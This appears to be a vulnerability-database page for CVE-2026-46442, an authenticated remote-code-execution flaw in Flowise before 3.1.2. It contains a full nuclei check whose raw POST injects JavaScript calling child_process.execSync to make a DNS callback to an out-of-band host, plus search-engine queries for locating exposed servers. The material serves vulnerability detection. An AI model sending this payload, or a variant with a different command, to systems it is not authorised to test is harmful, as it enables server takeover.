HexBrain

Browse / CVEs / CVE-2026-46442

CVE-2026-46442· flowiseai / flowise· CWE-78

Flowise < 3.1.2 - node-custom-function Unauthorized RCE

criticalseverity
9.9CVSS score
33%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.

Impact

Authenticated attackers can execute arbitrary system commands on the Flowise server, leading to full server compromise.

Fix

Update to version 3.1.2 or later.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "Flowise"
Send: POST /api/v1/node-custom-function
Positive when: contains in interactsh_protocol "dns"

Run it with nuclei: nuclei -id CVE-2026-46442 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2026-46442

info:
  name: Flowise < 3.1.2 - node-custom-function Unauthorized RCE
  author: DhiyaneshDk,princechaddha
  severity: critical
  description: |
    Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.1.2, POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node. When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process. The result is authenticated remote code execution on the Flowise server host. This issue has been patched in version 3.1.2.
  impact: |
    Authenticated attackers can execute arbitrary system commands on the Flowise server, leading to full server compromise.
  remediation: |
    Update to version 3.1.2 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-46442
    - https://github.com/FlowiseAI/Flowise
    - https://github.com/FlowiseAI/Flowise/security/advisories
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-46442
    cwe-id: CWE-78
    epss-score: 0.32998
    epss-percentile: 0.98372
    cpe: cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*
  metadata:
    verified: false
    max-request: 2
    vendor: flowiseai
    product: flowise
    shodan-query: http.title:"Flowise"
    fofa-query: title="Flowise"
  tags: cve,cve2026,flowise,cmdi,rce,oob,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "Flowise"
        internal: true

  - raw:
      - |
        POST /api/v1/node-custom-function HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        x-request-from: internal

        {"functionBody":"require('child_process').execSync('nslookup {{interactsh-url}}');return '';","nodeData":{"inputs":{}}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

References

Use this check only on systems you are authorised to test. Where the data comes from